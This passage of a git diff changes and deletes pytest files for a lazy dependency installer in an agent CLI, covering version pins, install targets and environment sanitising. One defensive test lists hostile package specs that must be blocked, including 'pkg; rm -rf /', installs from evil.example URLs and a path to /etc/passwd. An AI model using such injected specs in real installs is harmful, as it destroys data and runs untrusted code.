pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"): - ld.ensure("test.feat", prompt=False) - - - def test_config_failure_fails_open(self, monkeypatch): - # If config can't be read at all, we ALLOW installs rather than - # blocking the user out of their own backends. - monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) - monkeypatch.setattr( - "hermes_cli.config.load_config", - lambda: (_ for _ in ()).throw(RuntimeError("config broken")), - ) - assert ld._allow_lazy_installs() is True - - -# --------------------------------------------------------------------------- -# ensure() happy/sad paths -# --------------------------------------------------------------------------- - - -class TestEnsure: - def test_already_satisfied_is_noop(self, monkeypatch): - # If the package is importable, ensure() returns without calling pip. - monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) - # If pip were called, this would fail loudly. - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - ld.ensure("test.satisfied", prompt=False) # no exception - - - def test_install_succeeds_but_still_missing_raises(self, monkeypatch): - # Pip says success but the package still isn't importable - # (e.g. site-packages caching, wrong python). Surface this. - monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult(True, "ok", ""), - ) - with pytest.raises(ld.FeatureUnavailable, match="still not importable"): - ld.ensure("test.cache", prompt=False) - - -# --------------------------------------------------------------------------- -# is_available -# --------------------------------------------------------------------------- - - -class TestIsAvailable: - def test_unknown_feature_returns_false(self): - assert ld.is_available("not.a.thing") is False - - - def test_missing_returns_false(self, monkeypatch): - monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",)) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - assert ld.is_available("test.miss") is False - - -# --------------------------------------------------------------------------- -# Version-aware _is_satisfied (Piece B — "stale pin" detection) -# -# The original implementation returned True the moment the package name -# was importable, ignoring the spec's version range. That meant pin bumps -# in LAZY_DEPS never propagated to users who already lazy-installed the -# backend at an older version. _is_satisfied now parses the spec and -# checks the installed version against the constraint. -# --------------------------------------------------------------------------- - - -class TestIsSatisfiedVersionAware: - def _fake_version(self, monkeypatch, installed_versions: dict): - """Patch importlib.metadata.version() inside lazy_deps.""" - from importlib.metadata import PackageNotFoundError - - def _version(pkg): - if pkg in installed_versions: - return installed_versions[pkg] - raise PackageNotFoundError(pkg) - - # Patch at the import site lazy_deps uses (inside the function). - import importlib.metadata as _md - monkeypatch.setattr(_md, "version", _version) - - def test_exact_pin_match_returns_true(self, monkeypatch): - self._fake_version(monkeypatch, {"honcho-ai": "2.2.0"}) - assert ld._is_satisfied("honcho-ai==2.2.0") is True - - - def test_range_within_returns_true(self, monkeypatch): - self._fake_version(monkeypatch, {"slack-bolt": "1.27.0"}) - assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is True - - - def test_bare_package_name_presence_is_enough(self, monkeypatch): - # No version constraint — presence alone counts as satisfied. - self._fake_version(monkeypatch, {"somepkg": "1.0.0"}) - assert ld._is_satisfied("somepkg") is True - - def test_extras_block_in_spec_is_stripped(self, monkeypatch): - # mautrix[encryption]==0.21.0 — the [encryption] block must not - # confuse the specifier parser. - self._fake_version(monkeypatch, {"mautrix": "0.21.0"}) - assert ld._is_satisfied("mautrix[encryption]==0.21.0") is True - - def test_extras_block_mismatch_returns_false(self, monkeypatch): - self._fake_version(monkeypatch, {"mautrix": "0.20.0"}) - assert ld._is_satisfied("mautrix[encryption]==0.21.0") is False - - def test_trace_upload_hub_at_core_locked_version_is_current(self, monkeypatch): - """#60783 regression: refresh must not churn the shared hub install. - - huggingface-hub arrives in the venv via the core lock (transformers / - sentence-transformers for local Hindsight, faster-whisper, tokenizers). - With the LAZY_DEPS pin held in lockstep with uv.lock, the version the - core installs satisfies the trace-upload spec, so the `hermes update` - lazy-refresh pass reports "current" instead of reinstalling — the - downgrade that used to break the Hindsight daemon can't happen. - """ - spec = ld.LAZY_DEPS["tool.trace_upload"][0] - pinned = ld._specifier_from_spec(spec).lstrip("=") - self._fake_version(monkeypatch, {"huggingface-hub": pinned}) - assert ld._is_satisfied(spec) is True - assert ld.feature_missing("tool.trace_upload") == () - - @pytest.mark.parametrize( - ("feature", "installed_versions", "expected_repairs"), - [ - ( - "skill.google_workspace", - { - "google-api-python-client": "2.194.0", - "google-auth": "2.55.0", - "google-auth-oauthlib": "1.3.1", - "google-auth-httplib2": "0.3.1", - "httplib2": "0.31.2", - "pyasn1": "0.6.3", - }, - ( - "google-auth==2.55.1", - "httplib2==0.32.0", - "pyasn1==0.6.4", - ), - ), - ( - "provider.vertex", - { - "google-auth": "2.55.1", - "pyasn1": "0.6.3", - }, - ("pyasn1==0.6.4",), - ), - ], - ) - def test_google_features_repair_stale_transitives( - self, - monkeypatch, - feature, - installed_versions, - expected_repairs, - ): - self._fake_version(monkeypatch, installed_versions) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - installed = [] - - def fake_install(specs, **kwargs): - installed.extend(specs) - for spec in specs: - package, wanted = spec.split("==", 1) - installed_versions[package] = wanted - return ld._InstallResult(True, "ok", "") - - monkeypatch.setattr(ld, "_venv_pip_install", fake_install) - - ld.ensure(feature, prompt=False) - - assert tuple(installed) == expected_repairs - - -# --------------------------------------------------------------------------- -# active_features + refresh_active_features (Piece A — hermes update wiring) -# --------------------------------------------------------------------------- - - -class TestActiveFeatures: - def test_no_packages_installed_returns_empty(self, monkeypatch): - monkeypatch.setattr(ld, "_is_present", lambda spec: False) - assert ld.active_features() == [] - - - def test_shared_dependency_does_not_activate_feature(self, monkeypatch): - # asyncpg is a generic dependency that may be installed for unrelated - # reasons. It must not make hermes update try to refresh Matrix unless - # the Matrix anchor package (mautrix) is present. - monkeypatch.setattr( - ld, "_is_present", - lambda spec: ld._pkg_name_from_spec(spec) == "asyncpg", - ) - assert "platform.matrix" not in ld.active_features() - - -class TestRefreshActiveFeatures: - def test_no_active_features_returns_empty(self, monkeypatch): - monkeypatch.setattr(ld, "active_features", lambda: []) - assert ld.refresh_active_features() == {} - - def test_windows_matrix_refresh_is_skipped_before_pip(self, monkeypatch): - # Matrix E2EE pulls python-olm, which has no native Windows wheel/build - # path. `hermes update` must not retry that doomed install every run. - # - # The subject here is the *consumer* — refresh_active_features honouring - # the gate before pip — so we monkeypatch lazy_deps' own platform probe - # instead of faking the host, which keeps this covered on Linux too. - monkeypatch.setattr( - ld, - "_unsupported_feature_reason", - lambda feature: ( - "unsupported on Windows: Matrix E2EE depends on python-olm" - if feature == "platform.matrix" - else None - ), - ) - monkeypatch.setattr(ld, "active_features", lambda: ["platform.matrix"]) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, - "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called for unsupported Matrix on Windows"), - ) - - result = ld.refresh_active_features() - - assert result["platform.matrix"].startswith("skipped:") - assert "unsupported on Windows" in result["platform.matrix"] - - @pytest.mark.windows_only - def test_matrix_probe_reports_unsupported_on_real_windows(self): - # The probe itself keys off the real host: patching sys.platform only - # proved the string, never that Windows actually hits this gate. - assert "unsupported on Windows" in ( - ld._unsupported_feature_reason("platform.matrix") or "" - ) - - def test_restore_snapshot_skips_telegram_with_lazy_installs_disabled( - self, monkeypatch - ): - """The security opt-out also blocks updater-driven restoration.""" - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) - monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) - monkeypatch.setattr( - ld, - "_venv_pip_install", - lambda *args, **kwargs: pytest.fail( - "pip must not run when lazy installs are disabled" - ), - ) - - result = ld.restore_features(["platform.telegram"]) - - assert result == { - "platform.telegram": ( - "skipped: lazy installs disabled " - "(security.allow_lazy_installs=false)" - ) - } - - def test_restore_snapshot_does_not_install_never_activated_features( - self, monkeypatch - ): - monkeypatch.setattr( - ld, - "_venv_pip_install", - lambda *args, **kwargs: pytest.fail( - "cold features must stay uninstalled" - ), - ) - - assert ld.restore_features([]) == {} - - def test_mixed_results_returns_per_feature_status(self, monkeypatch): - monkeypatch.setattr(ld, "active_features", lambda: ["a.ok", "b.fail"]) - monkeypatch.setitem(ld.LAZY_DEPS, "a.ok", ("pkga==1.0",)) - monkeypatch.setitem(ld.LAZY_DEPS, "b.fail", ("pkgb==1.0",)) - # a.ok: already satisfied → "current" - # b.fail: missing + install fails → "failed:" - def fake_satisfied(spec): - return ld._pkg_name_from_spec(spec) == "pkga" - monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied) - monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda specs, **kw: ld._InstallResult(False, "", "nope"), - ) - result = ld.refresh_active_features() - assert result["a.ok"] == "current" - assert result["b.fail"].startswith("failed:") - - -# --------------------------------------------------------------------------- -# install_specs — manifest-driven installs (dashboard memory providers etc.) -# -# NS-605: the dashboard's memory-provider setup endpoint used to shell out -# to `uv pip install --python sys.executable`, which fails with a permission -# error on the sealed hosted venv. install_specs routes those installs -# through the same environment-aware pipeline as ensure(): venv-scoped on -# normal installs, redirected to the durable target on immutable images, -# and cleanly refused (with a reason) when installs are gated off. -# --------------------------------------------------------------------------- - - -class TestInstallSpecs: - def test_empty_specs_is_trivially_ok(self, monkeypatch): - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - result = ld.install_specs([]) - assert result.ok is True - assert result.blocked is False - - def test_blank_specs_are_ignored(self, monkeypatch): - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - result = ld.install_specs(["", " "]) - assert result.ok is True - - @pytest.mark.parametrize("bad", [ - "pkg; rm -rf /", - "-e git+https://evil.example/repo.git", - "https://evil.example/pkg.tar.gz", - "../../etc/passwd", - "pkg @ file:///tmp/x", - ]) - def test_unsafe_specs_are_blocked_before_any_install(self, monkeypatch, bad): - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - result = ld.install_specs([bad]) - assert result.ok is False - assert result.blocked is True - assert "unsafe spec" in result.reason - - def test_one_unsafe_spec_blocks_the_whole_batch(self, monkeypatch): - monkeypatch.setattr( - ld, "_venv_pip_install", - lambda *a, **kw: pytest.fail("pip should not be called"), - ) - result = ld.install_specs(["honcho-ai==2.2.0", "pkg; rm -rf /"]) - assert result.blocked is True - - - def test_never_raises_on_unexpected_error(self, monkeypatch): - monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) - monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False) - monkeypatch.setattr( - "hermes_cli.config.load_config", lambda: {}, raising=False - ) - # Contract: install_specs never raises — even an unexpected installer - # crash comes back as a failed result the caller can render. - def boom(specs, **kw): - raise RuntimeError("disk on fire") - monkeypatch.setattr(ld, "_venv_pip_install", boom) - result = ld.install_specs(["honcho-ai==2.2.0"]) - assert result.ok is False - assert "disk on fire" in result.stderr diff --git a/tests/tools/test_lazy_deps_durable_target.py b/tests/tools/test_lazy_deps_durable_target.py deleted file mode 100644 index cb9b517c51..0000000000 --- a/tests/tools/test_lazy_deps_durable_target.py +++ /dev/null @@ -1,295 +0,0 @@ -"""Tests for the durable lazy-install target (immutable Docker images). - -These cover the mechanism that lets opt-in backends lazy-install on the -sealed-venv Docker image without being able to break the agent core: -installs are redirected to a writable dir on the data volume, and that dir -is appended to the END of ``sys.path`` so the core venv always wins name -collisions. - -The headline invariant — *a package in the durable store can never shadow -a core module* — is proved with a REAL install into a temp target (no -mocked pip), exercising the actual ``--target`` + sys.path-append path. -That E2E test is guarded by network availability; everything else is pure -unit logic with no network. -""" - -from __future__ import annotations - -import os -import subprocess -import sys -import sysconfig -from pathlib import Path - -import pytest - -from tools import lazy_deps as ld - - -# --------------------------------------------------------------------------- -# Target resolution + gating -# --------------------------------------------------------------------------- - - -class TestTargetResolution: - def test_no_target_when_env_unset(self, monkeypatch): - monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False) - assert ld._lazy_install_target() is None - - - def test_target_resolved_when_set(self, monkeypatch, tmp_path): - monkeypatch.setenv(ld._LAZY_TARGET_ENV, str(tmp_path / "lazy")) - assert ld._lazy_install_target() == tmp_path / "lazy" - - -class TestGatingWithTarget: - """``HERMES_DISABLE_LAZY_INSTALLS=1`` must STOP blocking once a durable - target is configured — the redirect is the safe path — but the config - kill switch still wins in every mode.""" - - def test_disable_env_blocks_without_target(self, monkeypatch): - monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") - monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False) - # config unreadable → fails open on the config check, but the sealed - # env var with no target still blocks. - monkeypatch.setattr( - "hermes_cli.config.load_config", lambda: {}, raising=False - ) - assert ld._allow_lazy_installs() is False - - def test_disable_env_allows_with_target(self, monkeypatch, tmp_path): - monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") - monkeypatch.setenv(ld._LAZY_TARGET_ENV, str(tmp_path)) - monkeypatch.setattr( - "hermes_cli.config.load_config", lambda: {}, raising=False - ) - assert ld._allow_lazy_installs() is True - - - def test_normal_mode_unaffected(self, monkeypatch): - # No sealed env, no target → default allow (unchanged behaviour). - monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) - monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False) - monkeypatch.setattr( - "hermes_cli.config.load_config", lambda: {}, raising=False - ) - assert ld._allow_lazy_installs() is True - - -# --------------------------------------------------------------------------- -# ABI stamp / durable-store rebuild safety -# --------------------------------------------------------------------------- - - -class TestAbiStamp: - def test_creates_dir_and_stamp(self, tmp_path): - target = tmp_path / "lazy" - err = ld._ensure_target_ready(target) - assert err is None - assert target.is_dir() - stamp = target / ld._TARGET_STAMP_NAME - assert stamp.read_text().strip() == ld._python_abi_tag() - - - def test_readonly_target_reports_error(self, tmp_path): - # A path under a non-writable parent should surface a clean error, - # not raise. - ro_parent = tmp_path / "ro" - ro_parent.mkdir() - os.chmod(ro_parent, 0o500) - try: - err = ld._ensure_target_ready(ro_parent / "lazy") - assert err is not None - assert "not writable" in err - finally: - os.chmod(ro_parent, 0o700) # let pytest clean up - - -# --------------------------------------------------------------------------- -# sys.path append ordering (the core-wins invariant, unit level) -# --------------------------------------------------------------------------- - - -class TestSysPathAppend: - def test_target_appended_not_prepended(self, tmp_path, monkeypatch): - target = tmp_path / "lazy" - target.mkdir() - saved = list(sys.path) - try: - ld._activate_target_on_syspath(target) - assert str(target) in sys.path - # Must be at/after every pre-existing entry — i.e. core wins. - idx = sys.path.index(str(target)) - assert idx >= len(saved), ( - "durable target must be appended after all core entries" - ) - finally: - sys.path[:] = saved - - def test_activation_idempotent(self, tmp_path, monkeypatch): - target = tmp_path / "lazy" - target.mkdir() - saved = list(sys.path) - try: - ld._activate_target_on_syspath(target) - ld._activate_target_on_syspath(target) - assert sys.path.count(str(target)) == 1 - finally: - sys.path[:] = saved - - -# --------------------------------------------------------------------------- -# Install path: arg construction (network-free) + a real install (opt-in). -# --------------------------------------------------------------------------- - - -class TestInstallArgConstruction: - """Verify the durable-target install builds the right pip/uv command - WITHOUT hitting the network, by stubbing the subprocess layer. This is - the CI-safe coverage of the install path; the genuine PyPI install below - is opt-in only.""" - - def test_target_and_constraint_args_passed(self, tmp_path, monkeypatch): - target = tmp_path / "lazy-packages" - monkeypatch.setenv(ld._LAZY_TARGET_ENV, str(target)) - # No uv on PATH → force the pip tier so we assert one known command. - monkeypatch.setattr(ld.shutil, "which", lambda _: None) - - captured = {} - - def fake_run(cmd, *a, **k): - # The pip --version probe must look healthy so we reach install. - if "--version" in cmd: - return subprocess.CompletedProcess(cmd, 0, "pip 24.0", "") - captured["cmd"] = cmd - return subprocess.CompletedProcess(cmd, 0, "ok", "") - - monkeypatch.setattr(ld.subprocess, "run", fake_run) - # Avoid mutating the real interpreter's sys.path on success. - monkeypatch.setattr(ld, "_activate_target_on_syspath", lambda _t: None) - - result = ld._venv_pip_install(("somepkg==1.2.3",)) - assert result.success - cmd = captured["cmd"] - # --target points at the durable dir... - assert "--target" in cmd - assert str(target) in cmd - # ...a --constraint file pins shared deps to core... - assert "--constraint" in cmd - # ...and the spec is last. - assert cmd[-1] == "somepkg==1.2.3" - - def test_no_target_args_in_venv_scoped_mode(self, monkeypatch): - # Env unset → plain venv-scoped install, no --target / --constraint. - monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False) - monkeypatch.setattr(ld.shutil, "which", lambda _: None) - captured = {} - - def fake_run(cmd, *a, **k): - if "--version" in cmd: - return subprocess.CompletedProcess(cmd, 0, "pip 24.0", "") - captured["cmd"] = cmd - return subprocess.CompletedProcess(cmd, 0, "ok", "") - - monkeypatch.setattr(ld.subprocess, "run", fake_run) - result = ld._venv_pip_install(("somepkg==1.2.3",)) - assert result.success - assert "--target" not in captured["cmd"] - assert "--constraint" not in captured["cmd"] - - def test_uv_resolution_failure_does_not_fall_through_to_pip(self, monkeypatch): - monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False) - monkeypatch.setattr("hermes_cli.managed_uv.resolve_uv", lambda: "uv") - calls = [] - - def fake_run(cmd, *args, **kwargs): - calls.append(cmd) - if cmd[:3] == ["uv", "pip", "install"]: - return subprocess.CompletedProcess( - cmd, 1, "", "release excluded by exclude-newer" - ) - pytest.fail(f"unexpected pip fallback: {cmd}") - - monkeypatch.setattr(ld.subprocess, "run", fake_run) - result = ld._venv_pip_install(("fresh-package==1.0.0",)) - assert not result.success - assert "exclude-newer" in result.stderr - assert len(calls) == 1 - - -@pytest.mark.skipif( - os.environ.get("HERMES_RUN_NETWORK_TESTS") != "1", - reason="opt-in real-install test (set HERMES_RUN_NETWORK_TESTS=1); CI runs " - "the network-free arg-construction + synthetic-shadow tests instead", -) -class TestRealInstallCoreWins: - """Genuine PyPI install into a durable target (opt-in). Proves the wire - end to end: the package lands in the target, not the core venv, and is - importable via the appended sys.path entry. Skipped by default so the - unit-test shard never depends on PyPI reachability/egress.""" - - def test_install_lands_in_target_and_imports(self, tmp_path, monkeypatch): - target = tmp_path / "lazy-packages" - monkeypatch.setenv(ld._LAZY_TARGET_ENV, str(target)) - # 'isodate' is tiny, pure-python, and not shipped in the core venv, - # so a successful import must resolve to the durable target. - result = ld._venv_pip_install(("isodate==0.7.2",)) - assert result.success, f"install failed: {result.stderr}" - # Landed in the durable target, not the core venv. - installed = list(target.glob("isodate*")) - assert installed, f"isodate not found under target {target}: {list(target.iterdir())}" - # Importable now that the target is on sys.path. - import importlib - importlib.invalidate_caches() - mod = importlib.import_module("isodate") - assert mod.__file__ is not None - assert Path(mod.__file__).is_relative_to(target) - - -class TestCoreNeverShadowed: - """The headline invariant — a package in the durable store can never - shadow a core module — proved WITHOUT a network install by synthesizing - a shadow copy of a core package directly on disk in the target. This is - deterministic (no PyPI) and a stronger check: we control exactly what - the shadow contains, so a sentinel attribute proves which copy won. - """ - - def test_synthetic_shadow_does_not_win(self, tmp_path, monkeypatch): - # 'packaging' is always present in the venv (transitive of the build - # toolchain). Resolve the core copy's location first. - import importlib.util - core_spec = importlib.util.find_spec("packaging") - assert core_spec is not None and core_spec.origin - core_path = Path(core_spec.origin).parent - - # Plant a fake 'packaging' in the durable target with a sentinel that - # the real core copy does NOT have. - target = tmp_path / "lazy-packages" - monkeypatch.setenv(ld._LAZY_TARGET_ENV, str(target)) - ld._ensure_target_ready(target) - shadow_pkg = target / "packaging" - shadow_pkg.mkdir() - (shadow_pkg / "__init__.py").write_text( - "SHADOW_SENTINEL = True\n__version__ = '0.0.0-shadow'\n" - ) - assert (shadow_pkg / "__init__.py").exists(), "shadow copy must exist on disk" - - # Activate the target (append-only) and re-resolve the import. - saved = list(sys.path) - try: - ld._activate_target_on_syspath(target) - import importlib - importlib.invalidate_caches() - spec_after = importlib.util.find_spec("packaging") - assert spec_after is not None and spec_after.origin - resolved = Path(spec_after.origin).parent - # Core path must still win; the shadow in the target is ignored. - assert resolved == core_path, ( - f"durable-store copy shadowed core: resolved to {resolved}, " - f"expected core at {core_path}" - ) - assert resolved != shadow_pkg, "import resolved to the shadow copy" - finally: - sys.path[:] = saved - sys.modules.pop("packaging", None) - importlib.invalidate_caches() diff --git a/tests/tools/test_lazy_deps_managed.py b/tests/tools/test_lazy_deps_managed.py deleted file mode 100644 index bd756d59eb..0000000000 --- a/tests/tools/test_lazy_deps_managed.py +++ /dev/null @@ -1,120 +0,0 @@ -"""Managed-install guard in :func:`tools.lazy_deps.ensure` (#48628). - -A package-manager install (NixOS, and anything else shipping Hermes from a -read-only store) cannot receive lazy pip installs: the venv's site-packages -lives in the store, so the uv -> pip -> ensurepip ladder burns ~15s -bootstrapping ensurepip only to fail. ``ensure()`` must fail fast instead. -""" - -import pytest - -from tools import lazy_deps -from tools.lazy_deps import FeatureUnavailable - - -FEATURE = "provider.anthropic" - - -@pytest.fixture(autouse=True) -def _missing_and_installable(monkeypatch): - """Reach the guard: deps missing, installs allowed, no durable target. - - ``_allow_lazy_installs`` is patched explicitly so the suite does not - depend on the host's ~/.hermes/config.yaml (a local - ``allow_lazy_installs: false`` otherwise short-circuits with a different - rejection reason). - """ - monkeypatch.setattr(lazy_deps, "feature_missing", lambda _f: ("some-pkg==1.0",)) - monkeypatch.setattr(lazy_deps, "_allow_lazy_installs", lambda: True) - monkeypatch.setattr(lazy_deps, "_lazy_install_target", lambda: None) - - -def _no_installer(monkeypatch): - """Fail loudly if the guard lets execution reach the install ladder.""" - def _boom(*_a, **_kw): - raise AssertionError("guard let execution reach the install ladder") - - monkeypatch.setattr(lazy_deps.subprocess, "run", _boom) - - -def test_nixos_install_fails_fast_without_touching_the_installer(monkeypatch): - monkeypatch.setattr("hermes_cli.config.get_managed_system", lambda: "nixos") - _no_installer(monkeypatch) - - with pytest.raises(FeatureUnavailable) as excinfo: - lazy_deps.ensure(FEATURE, prompt=False) - - assert "nixos" in excinfo.value.reason - # refresh_active_features classifies by this prefix — anything else is - # reported to the user as a hard failure instead of a skip. - assert excinfo.value.reason.startswith("unsupported ") - - -def test_reason_is_classified_as_skipped_not_failed(monkeypatch): - """The wording contract with refresh_active_features, pinned directly.""" - monkeypatch.setattr("hermes_cli.config.get_managed_system", lambda: "nixos") - - with pytest.raises(FeatureUnavailable) as excinfo: - lazy_deps.ensure(FEATURE, prompt=False) - - assert excinfo.value.reason.startswith("unsupported "), ( - "refresh_active_features would report this as failed: rather than skipped:" - ) - - -def test_unmanaged_install_is_not_blocked_by_the_guard(monkeypatch): - """On a normal pip install the guard must be transparent.""" - monkeypatch.setattr("hermes_cli.config.get_managed_system", lambda: None) - - with pytest.raises(FeatureUnavailable) as excinfo: - lazy_deps.ensure(FEATURE, prompt=False) - - # Whatever stops the install here, it must NOT be the managed guard. - assert "managed installs" not in excinfo.value.reason - - -def test_durable_install_target_overrides_the_guard(monkeypatch, tmp_path): - """The container deployment sets HERMES_MANAGED *and* a writable target. - - Dockerfile sets HERMES_LAZY_INSTALL_TARGET and the NixOS container module - passes HERMES_MANAGED=true; blocking there would break that deployment. - """ - monkeypatch.setattr("hermes_cli.config.get_managed_system", lambda: "nixos") - monkeypatch.setattr(lazy_deps, "_lazy_install_target", lambda: tmp_path) - - with pytest.raises(FeatureUnavailable) as excinfo: - lazy_deps.ensure(FEATURE, prompt=False) - - assert "nixos" not in excinfo.value.reason.lower(), ( - "durable-target installs must not be blocked by the managed guard" - ) - - -def test_platform_unsupported_takes_precedence(monkeypatch): - """A platform-specific reason is more actionable than 'managed install'. - - Also required for consistency: refresh_active_features pre-checks - _unsupported_feature_reason before calling ensure(). - """ - monkeypatch.setattr("hermes_cli.config.get_managed_system", lambda: "nixos") - monkeypatch.setattr( - lazy_deps, "_unsupported_feature_reason", lambda _f: "unsupported on win32" - ) - - with pytest.raises(FeatureUnavailable) as excinfo: - lazy_deps.ensure(FEATURE, prompt=False) - - assert excinfo.value.reason == "unsupported on win32" - - -def test_unreadable_config_fails_open(monkeypatch): - """A broken config must not block installs on a normal pip install.""" - def _raise(): - raise RuntimeError("config unreadable") - - monkeypatch.setattr("hermes_cli.config.get_managed_system", _raise) - - with pytest.raises(FeatureUnavailable) as excinfo: - lazy_deps.ensure(FEATURE, prompt=False) - - assert "managed" not in excinfo.value.reason.lower() diff --git a/tests/tools/test_local_env_blocklist.py b/tests/tools/test_local_env_blocklist.py index 6e97190b42..f8a213aca0 100644 --- a/tests/tools/test_local_env_blocklist.py +++ b/tests/tools/test_local_env_blocklist.py @@ -583,30 +583,44 @@ class TestPythonpathSelectiveStrip: def test_base_python_sanitizer_uses_validated_separate_runtime_venv(self, tmp_path, monkeypatch): - """A base interpreter strips the exact Windows runtime site-packages. + """A base interpreter strips the exact pm runtime site-packages. This deliberately uses a synthetic Hermes venv separate from the test - runner: sys.prefix represents base Python, while validated VIRTUAL_ENV - identifies ``/venv`` as the Hermes runtime producer contract. + runner: sys.prefix represents base Python, while the pm-provisioned + runtime venv (facts + store layout, no VIRTUAL_ENV anywhere) + identifies the Hermes runtime site-packages. """ + import json + import tools.environments.local as local - repo_root = tmp_path / "hermes-agent" - runtime_venv = repo_root / "venv" - runtime_sp = runtime_venv / "Lib" / "site-packages" + # pm bundled-install layout: store + manifest + relocatable venv. + payload = tmp_path / "payload" + store = payload / "tools" + runtime_venv = payload / "venv" + runtime_sp = local._runtime_venv_site_packages(runtime_venv) runtime_sp.mkdir(parents=True) - (runtime_venv / "pyvenv.cfg").write_text("version = 3.11\n", encoding="utf-8") + store.mkdir(parents=True, exist_ok=True) + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + {"schema": 1, "packages": {"venv": {"stamp": "abc", "extras": []}}} + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + base_prefix = tmp_path / "base-python" unrelated = "/custom/lib/python3.13/site-packages" - monkeypatch.setattr(local, "_hermes_repo_root_aliases", (repo_root,)) + monkeypatch.setattr(local, "_hermes_repo_root_aliases", (tmp_path / "hermes-agent",)) monkeypatch.setattr(local, "_in_venv", False) monkeypatch.setattr(local, "_hermes_site_packages", None) monkeypatch.setattr(local.sys, "prefix", str(base_prefix)) monkeypatch.setattr(local.sys, "base_prefix", str(base_prefix)) env = { - "VIRTUAL_ENV": str(runtime_venv), "PYTHONPATH": os.pathsep.join([str(runtime_sp), unrelated]), } result = local._sanitize_subprocess_env(env) @@ -617,17 +631,18 @@ class TestPythonpathSelectiveStrip: assert "VIRTUAL_ENV" not in result def test_unrelated_virtual_env_is_not_runtime_provenance(self, tmp_path, monkeypatch): - """An arbitrary inherited VIRTUAL_ENV cannot claim PYTHONPATH ownership.""" + """An arbitrary inherited VIRTUAL_ENV cannot claim PYTHONPATH + ownership — provenance is pm's facts, and pm records no venv here.""" import tools.environments.local as local - repo_root = tmp_path / "hermes-agent" - repo_root.mkdir() unrelated_venv = tmp_path / "user-venv" unrelated_sp = unrelated_venv / "Lib" / "site-packages" unrelated_sp.mkdir(parents=True) (unrelated_venv / "pyvenv.cfg").write_text("version = 3.13\n", encoding="utf-8") - monkeypatch.setattr(local, "_hermes_repo_root_aliases", (repo_root,)) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "no-such-store")) + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + monkeypatch.setattr(local, "_hermes_repo_root_aliases", (tmp_path / "hermes-agent",)) monkeypatch.setattr(local, "_in_venv", False) monkeypatch.setattr(local, "_hermes_site_packages", None) @@ -993,44 +1008,42 @@ class TestPythonpathSelectiveStrip: local._strip_hermes_owned_pythonpath(env) assert env["PYTHONPATH"].split(os.pathsep) == ["/home/user/my-lib"] - def test_validated_runtime_venv_lexical_after_repo_recovery(self, tmp_path, monkeypatch): - """uv-base gateway: once the lexical repo alias is recovered, a lexical - VIRTUAL_ENV (/venv) validates and its site-packages is - stripped together with the repo root, while user entries survive. + def test_pm_runtime_venv_provenance_is_alias_independent(self, tmp_path, monkeypatch): + """pm's facts/store layout is the provenance for the runtime venv — + not a VIRTUAL_ENV matched against repo aliases. The pm-provisioned + venv's site-packages is stripped together with the repo root, while + user entries survive, even when an unrelated VIRTUAL_ENV is present. """ + import json + import tools.environments.local as local - physical_root = _physical_repo_root(tmp_path) - venv_dir = physical_root / "venv" - venv_dir.mkdir(parents=True) - (venv_dir / "pyvenv.cfg").write_text("home = x\n", encoding="utf-8") - configured_home = tmp_path / "configured-home" - configured_home.mkdir() - try: - _make_directory_link(configured_home / "hermes-agent", physical_root) - except OSError as exc: - pytest.skip(f"directory link unavailable on this host: {exc}") - - lexical_root = configured_home / "hermes-agent" - aliases = local._build_hermes_repo_root_aliases( - physical_root.resolve(), - physical_root, - configured_home, + # pm bundled-install layout, entirely outside the repo aliases. + payload = tmp_path / "payload" + store = payload / "tools" + venv_dir = payload / "venv" + venv_sp = local._runtime_venv_site_packages(venv_dir) + venv_sp.mkdir(parents=True) + store.mkdir(parents=True, exist_ok=True) + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + {"schema": 1, "packages": {"venv": {"stamp": "abc", "extras": []}}} + ), + encoding="utf-8", ) - assert any(local._same_path(a, lexical_root) for a in aliases) - monkeypatch.setattr(local, "_hermes_repo_root_aliases", 